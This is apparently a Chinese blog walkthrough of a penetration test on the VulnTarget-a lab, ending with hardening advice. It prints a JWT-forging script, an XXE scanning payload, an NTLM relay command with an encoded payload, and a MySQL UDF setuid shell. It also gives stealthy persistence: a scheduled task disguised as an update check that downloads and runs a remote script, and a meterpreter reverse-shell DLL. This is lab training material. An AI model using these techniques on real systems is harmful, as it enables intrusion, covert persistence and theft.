1. VulnTarget-a靶场渗透测试实战解析
作为一名长期活跃在网络安全一线的渗透测试工程师,我最近系统性地研究了VulnTarget-a靶场环境。这个靶场在业内被广泛用于模拟企业级网络攻防场景,其设计巧妙融合了OWASP Top 10漏洞和典型内网渗透路径。不同于常见的DVWA或Pikachu这类基础靶场,VulnTarget-a更注重实战场景的还原度,包含从外网突破到横向移动的完整攻击链。
在本文中,我将完整呈现对VulnTarget-a靶场的渗透过程,重点剖析其中三个最具教学价值的攻击路径:通过前端API接口的JWT令牌伪造实现垂直越权、利用XXE漏洞进行内网端口扫描、以及通过SMB共享的NTLM Relay攻击获取域控权限。每个环节都会附带详细的流量分析和防御方案,这些内容都来自我实际渗透测试中的经验总结。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境搭建与信息收集
2.1 靶场环境初始化
VulnTarget-a靶场推荐使用VMware Workstation 16+或VirtualBox 6.1+运行,初始配置需要2核CPU、4GB内存和40GB磁盘空间。首次启动时会随机生成管理员密码,需要通过控制台查看。这里有个细节需要注意:靶机的虚拟网卡必须设置为NAT模式,这是为了模拟真实环境中防火墙后的服务器。
重要提示:不要使用桥接模式,否则会暴露不必要的服务到物理网络,可能违反安全规定。
2.2 自动化信息收集实战
使用如下命令进行初步扫描:
bash复制nmap -sV -T4 -A -p- 192.168.1.100 -oN vulntarget_initial_scan.nmap
典型扫描结果会显示开放以下关键端口:
- 80/tcp:Web管理界面(Apache 2.4.38)
- 443/tcp:HTTPS服务(自签名证书)
- 445/tcp:SMB文件共享(Samba 3.0.28)
- 3306/tcp:MySQL数据库(5.7.32)
- 8080/tcp:API接口服务(Node.js Express)
通过目录爆破工具(如dirsearch)可以发现几个关键路径:
code复制/api/v1/user/login
/static/upload/
/admin/config.backup
3. 漏洞利用链构建
3.1 JWT令牌伪造攻击
在测试/api/v1/user/login接口时,发现其使用HS256算法签名的JWT令牌。通过分析页面源码找到隐藏的/jwt_demo路径,其中包含JWT调试功能。使用如下Python脚本可以伪造管理员令牌:
python复制import jwt
payload = {"user":"admin","role":"superadmin"}
secret = "vulntarget_default_key" # 通过信息泄露获取
token = jwt.encode(payload, secret, algorithm="HS256")
print(token.decode())
这个漏洞的根源在于:
- 使用静态密钥(硬编码在源码中)
- 未校验令牌的签发者(issuer)
- 采用对称加密算法(应使用RS256)
3.2 XXE漏洞内网探测
在文件上传功能处(/static/upload/)发现XML解析功能,构造以下恶意XML可实现内网端口扫描:
xml复制<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80">
]>
<file>&xxe;</file>
通过Burp Suite的Intruder模块批量测试192.168.1.0/24网段的常见端口(22,80,443,445等),可以绘制出内网拓扑。这个技巧在内网渗透中非常实用,但需要注意:
- 某些WAF会拦截高频的XXE请求
- Java应用的XXE处理与PHP有所不同
- 始终要在授权范围内操作
3.3 SMB Relay攻击实战
当获取到普通用户凭据后,使用Impacket工具包进行NTLM Relay攻击:
bash复制impacket-ntlmrelayx -tf targets.txt -smb2support -c "powershell -enc <base64_encoded_payload>"
成功条件包括:
- 目标服务器未启用SMB签名(默认关闭)
- 域控允许从非域机器认证
- 中继到的账户有足够权限
攻击成功后通常会获得:
- 域用户哈希(可用于Pass-the-Hash)
- 远程命令执行权限
- 共享目录访问权
4. 权限提升与持久化
4.1 MySQL UDF提权
通过之前获取的数据库凭据(通常存在于config.php中),可以尝试MySQL提权:
sql复制SELECT * FROM mysql.func WHERE name='sys_exec';
-- 若无则创建
CREATE FUNCTION sys_exec RETURNS string SONAME 'lib_mysqludf_sys.so';
-- 执行系统命令
SELECT sys_exec('cp /bin/bash /tmp/shell && chmod +s /tmp/shell');
关键注意事项:
- 需要MySQL有FILE权限
- 需知道服务器架构(x86/x64)
- 现代Linux系统通常有防护机制
4.2 隐蔽持久化方案
在Windows靶机上,我推荐使用以下两种难以检测的持久化方法:
- 计划任务伪装:
powershell复制$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-nop -w hidden -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.1.200/payload.ps1''')'"
$trigger = New-ScheduledTaskTrigger -AtLogOn -User "NT AUTHORITY\SYSTEM"
Register-ScheduledTask -TaskName "WindowsUpdateCheck" -Action $action -Trigger $trigger -Description "System update checker"
- 服务DLL劫持:
bash复制msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=443 -f dll -o winhttp.dll
copy winhttp.dll C:\Windows\System32\
sc create WinHTTP binPath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
5. 防御加固建议
5.1 JWT安全实践
- 使用非对称算法(RS256/ES256)
- 设置合理的令牌有效期(exp)
- 实现密钥轮换机制
- 添加JWT签发者验证(iss claim)
5.2 XXE防护方案
对于Java应用,在DocumentBuilderFactory中设置:
java复制factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
PHP应用应使用:
php复制libxml_disable_entity_loader(true);
5.3 SMB Relay防御
- 启用SMB签名(Group Policy)
- 限制NTLM认证使用
- 实施网络分段
- 监控异常445端口流量
在真实渗透测试项目中,VulnTarget-a靶场映射的每个漏洞都对应着我在企业内网中实际遇到的案例。比如那个JWT实现缺陷,与某金融系统2019年的安全事件完全一致。建议在掌握基础攻击手法后,重点研究如何绕过现代防御体系(如WAF、EDR等),这才是渗透测试工程师的核心竞争力。
